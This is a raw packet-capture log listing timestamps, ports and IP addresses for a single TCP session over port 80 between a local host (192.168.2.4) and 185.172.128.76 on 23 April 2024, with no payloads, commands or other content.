Apr 23, 2024 09:38:21.783433914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783451080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783469915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783504963 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783509016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783519983 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783545971 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783582926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783590078 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783617973 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783618927 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783653975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783662081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783691883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783699036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783727884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783734083 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783763885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783767939 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783798933 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783801079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783837080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783842087 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783874035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783878088 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783915997 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934125900 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934176922 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934202909 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934216022 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934233904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934257030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934262037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934294939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934300900 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934331894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934338093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934369087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934405088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934406996 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934442043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934443951 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934478045 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934479952 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934514999 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934550047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934554100 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934583902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934587002 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934623003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934657097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934664011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934693098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934695005 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934727907 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934729099 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934762955 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934765100 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934801102 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934803009 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934838057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934839964 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934874058 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934878111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934911966 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934911966 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934947968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.934953928 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.934987068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.935399055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.935442924 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.935529947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.935566902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.935569048 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.935602903 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.935605049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.935638905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.935641050 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.935674906 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.935677052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.935710907 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.935712099 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.935748100 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.935748100 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.935785055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.935786963 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.935821056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.935827017 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.935857058 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.935858011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.935894012 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.935894012 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.935931921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.935934067 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.935969114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.936005116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.936005116 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.936014891 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.936045885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.936080933 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.936088085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.936119080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.936140060 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.936176062 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.936186075 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.936213017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.936217070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.936260939 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.979772091 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.979835033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.979875088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.979916096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.979953051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.979974031 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.979974031 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.979974031 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.979995012 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.980003119 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.980032921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.980041981 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.980071068 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.980077028 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.980122089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.980139017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.980185986 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.981877089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.982990980 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.983028889 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.983232021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.983232021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.983253002 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.983290911 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.983302116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.983328104 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.983336926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.983371019 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.983377934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.983413935 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.984683990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.984741926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.984747887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.984781981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.984788895 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.984818935 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.984828949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.984864950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.984896898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.984935045 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.984971046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.984982014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985023975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985032082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985060930 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985069036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985096931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985102892 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985133886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985138893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985169888 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985177040 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985207081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985212088 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985243082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985250950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985280037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985286951 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985316992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985323906 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985352993 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985357046 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985389948 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985395908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985426903 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985431910 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985464096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985470057 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985502005 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985507011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985538960 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985544920 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985577106 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985584021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985615969 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985620975 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985651970 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985657930 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985688925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985693932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985724926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985735893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985763073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985773087 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985800028 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985804081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985836029 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985841036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985872030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985877991 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985909939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985914946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985946894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985953093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.985984087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.985994101 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.986021042 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.986022949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.986057043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.986063957 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.986093998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.986099958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.986130953 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.986136913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.986167908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.986175060 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.986205101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.986212015 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.986243010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.986248970 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.986279011 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.986285925 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.986319065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.986325026 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.986356020 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.986361027 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.986392975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.986397982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.986437082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136070967 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136157990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136197090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136234999 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136265993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136274099 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136287928 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136316061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136320114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136353970 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136360884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136392117 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136399031 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136429071 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136435032 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136466026 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136471987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136502981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136508942 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136539936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136544943 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136575937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136584997 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136611938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136616945 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136650085 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136655092 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136686087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136694908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136723042 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136729956 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136758089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136764050 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136795044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136801958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136831999 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.136838913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.136876106 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137109041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137146950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137181044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137192965 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137218952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137223005 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137309074 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137322903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137346029 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137355089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137382984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137392044 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137422085 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137428999 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137459040 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137470007 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137499094 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137504101 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137536049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137541056 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137573004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137576103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137608051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137618065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137646914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137651920 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137686014 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137695074 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137722969 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137727976 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137758970 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137767076 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137797117 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137801886 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137834072 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137840033 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137870073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137875080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137908936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137914896 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137945890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137953043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.137984037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.137989044 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.138020992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.138025999 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.138057947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.138062954 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.138096094 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.138104916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.138133049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.138139009 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.138173103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.138179064 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.138216972 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.181447983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.181512117 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.181554079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.181572914 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.181591988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.181611061 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.181628942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.181632042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.181670904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.181675911 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.181709051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.181747913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.181762934 CEST	49733	80	192.168.2.4	185.172.128.76
